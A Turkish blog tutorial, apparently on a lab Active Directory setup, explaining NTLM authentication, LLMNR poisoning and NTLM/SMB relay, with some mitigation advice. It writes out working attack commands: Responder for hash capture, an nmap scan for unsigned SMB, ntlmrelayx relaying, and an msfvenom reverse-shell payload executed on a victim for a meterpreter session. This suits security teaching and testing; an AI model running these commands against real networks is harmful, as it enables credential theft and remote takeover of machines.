LLMNR Poisoning, NTLM Relay ve Daha Fazlası

  • Ön bilgiler
  • Windows domain yapılarında authenticaton mekanizması nasıl çalışır?
  • LLMNR nedir?
  • LLMNR Poisoning nedir?
  • NTLM Relay Nedir?

Windows domain yapılarında NTLM authenticaton mekanizması nasıl çalışır?

Ön bilgiler

İşletim sistemlerinde genellikle parola bilgileri clear-text/açık metin olarak saklanmaz. Bazı algoritmalar kulanılarak hash haline getirilen bilgi saklanır. “LM” ve “NT” windows sistemlerde saklanan parolaların hash algoritmalarını ve aynı zamanda kimlik doğrulama ( authentication) sistemini belirtir.

from passlib.hash import lmhash# Parola bilgisinin LM hash inin alınması
h = lmhash.hash(“password”)
print(h)
# OUTPUT: ‘3fc12f1f837f0efed75867ec1c8d6c08’
# LM hash’i ile parolanın kendisinin doğrulanması
print(lmhash.verify(“password”, h))
# OUTPUT: True
# Yanlış parola ile LM hash’inin doğrulanması
print(lmhash.verify(“secret”, h))
# OUTPUT: False
from passlib.hash import nthash# Parola bilgisinin NT hash inin alınması
h = nthash.hash(“password”)
print(h)
# OUTPUT: ‘8846f7eaee8fb117ad06bdd830b7586c’
# NT hash’i ile parolanın kendisinin doğrulanması
print(nthash.verify(“password”, h))
# OUTPUT: True
# Yanlış parola ile NT hash’inin doğrulanması
print(nthash.verify(“secret”, h))
# OUTPUT: False

Windows Authenticaton Metodları

Windows sistemlerde birden fazla kimlik doğrulama metodları mevcut;

NTLM Authentication Algoritması
  1. Kullanıcı bağlanmak istediği sunucuya/bilgisayara bağlanmak istediğini belirten bir istekte bulunur.
  2. Sunucu bu isteğe karşı o anda üretilen 16 byte lık bir token ile cevap verir ve kendi hash bilgisi ile (konfigürasyona göre değişir LM veya NT hash) bu tokenı DES ile şirelemesi istenir.
  3. Sonrasında kullanıcı bu işlemleri yaparak oluşturduğu NTLM hash bilgisini (aynı zamanda netNTLMv1 veya netNTLMv2 hash olarak da adlandırılan) ve kullanıcı adını iletir.
  4. Sunucu, kullanıcının gönderdiği NTLMv1 veya v2 hash bilgisini, başlangıçta gönderilen token bilgisini ve kullanıcı adını DC sunucusuna doğrulaması için iletir.
  5. Domain Controller, NTDS dosyasında her kullacının hash bilgisini elinde tuttuğu için aynı process i kolaylıkla uygulayarak karşılaştırır. Bunun sonucunda kullanıcıya izin verilir.

NTLMv1 vs NTLMv2

NTLM protokolünün (yukarda algoritması verilen protokol) nasıl çalıştığını yukarda resmettik ve iki farklı versiyonu olduğunu belirttik. Peki bunların farkları nelerdir;

LLMNR Nedir?

Link-Local Multicast Name Resolution aynı yerel ağda dns çözümlemesi gerçekleştirilmesine izin veren bir prokoldür. İsmi biraz farklı olsa da, lokal ağda DNS gibi isim çözümlemeye, verilen isme göre bize ip adresi sunmaya yarar. Peki ne zaman çalışır? DNS kullanılmıyor mu? Windows sistemlerde isim çözümlemesi aşağıdaki adımlar uygulanarak gerçekleşir;

LLMNR Poisoning

Saldırgan kullanıcıdan gelen llmnr isteğini gördüğü anda “senin aradığın kişi benim, sen bana bağlanmak istiyorsun” diyerek kurban bilgisayarın kendisine bağlanma isteği bulunmasını sağlar. Bu durumda yukarda anlatılan NTLM algoritma işleyişine göre kurbanın NTLMv1 veya V2 hangi protokol kullanımdaysa onun hash bilgisi elde edilir.
Bu hash bilgisi ile ne yapabiliriz peki? Bu hash bilgisini bruteforce tekniği ile kırmaya çalışabiliriz. Parola basit bir parola ise kırılması olası. Ancak uzun veya karmaşık bir parolayı kırmak, pratik olarak normal şartlarda mümkün olmayabilir. (İyi bir donanımla günler haftalar sürebilir.) Dolayısıyla bu hash bilgisini elde etmek bazı durumlarda tek başına bir şey ifade etmeyebilir.

LLMNR Poisoning Algoritması
  1. Saldırganın Responder aracını ayağa kaldırarak network ü dinlemeye başlaması
    1.1 Responder.conf üzerinden smb ve http seçeneklerinin “On” olması gerekir. Bu durumda responder ile çalışan smb sunucusu çalışabilir ve isteklere cevap verebilir.
    1.2 Reponder.py -I <interface> parametresi verilerek çalıştırılması.
Responder dinlemede
Kali tarafından LLMNR poisoning yapılan kurban, kemal.local’e bağlandığını sanıyor.
Başından beri dinleyen ve LLMNR Poisoning yaparak kullanıcı hash bilgisini ele geçiren saldırgan.

LLMNR Poisoning Saldırılarından Korunmak (Mitigation)

  • LLMNR ve NBT-NS protokollerini disabled konumuna getirilebilir. NBT-NS de dahil çünkü yukarıda hatırlarsanız DNS adımlarında LLMNR den sonra NBT-NS geliyor ve aynı algoritma ile zehirleme yapılabiliyor.
  • Sistemlere kısıtlı yetkilere sahip kullanıcılar ile giriş yapmaya eğilimli olmak faydalı olacaktır. Bir domain admin hesap bilgilerinin ifşa olması ile standart kullanıcının ifşa olması arasında zafiyet seviyeleri anlamında farklılık gösterir.
  • Uzun ve karmaşık parola kullanımı bu saldırıda elde edilen bilgileri işlevsiz kılabilir.

NTLM Relay / SMB Relay

Windows authentication ve LLMNR/LLMNR Poisoning nedir, nasıl çalışır gibi konularda aklımızda soru işaretleri yoksa NTLM Relay konusuna geçebiliriz.

  • pparker kullanıcısının bilgisayarına baktığımızda fcastle kullanıcısınında bu bilgisayarda administrator yetkisine sahip olduğunu varsayalım. Yani burada demek istediğimiz fcastle kullanıcısı pparker kullanıcısında yetkili bir abimiz.
  • Bu örnekte fcastle kullanıcısına LLMNR Poisoning ile zehirleme yaptıktan sonra ntlmrelayx yaparak ppkarker’ın kullandığı bilgisayarda erişim elde etmeye çalışacağız.
  • nmap -sSV -p 445 — script smb2-security-mode 192.168.1.0/24 komutu ile networkteki smb signing olmayanları veya “not required” olanları target.txt listemize atabiliriz.
SMB Signing not reqired
  • Daha sonra responder’ı çalıştırarak bu zincirleme saldırıya başlayabiliriz. Ancak responder.conf üzerinden smb ve http seçeneğini Off konumuna getirmeyi unutmayalım. Çünkü responder artık yalnızca zehirleme işini yapacak ve geri kalan relay işini ntlmrelayx aracı SMB sunucusu kullanarak sağlayacak.
  • responder -I eth0 -rwd
  • ntlmrelayx.py -tf ntlmtartgets.txt -smb2support
Kullanıcının yanlışlıkla var olmayan bir ismi girmesi
Responder ile birlikte ntlmrelayx aracının man in the middle olarak hedefe erişim sağlaması
  • O halde -e parametresi ile test senaryosunuu tekrar edelim:
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=4444 -f exe > shell.exe
  • msfconsole > use/multi/handler > set options > run
  • responder -I eth0 -rwd
  • ntlmrelayx.py -tf ntlmtartgets.txt -smb2support -e shell.exe
NTLM Relay ile domain üzerindeki bilgisayarda meterpreter session almak.
Kullanılan AD lab ortamı

Referanslar:

--

--

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store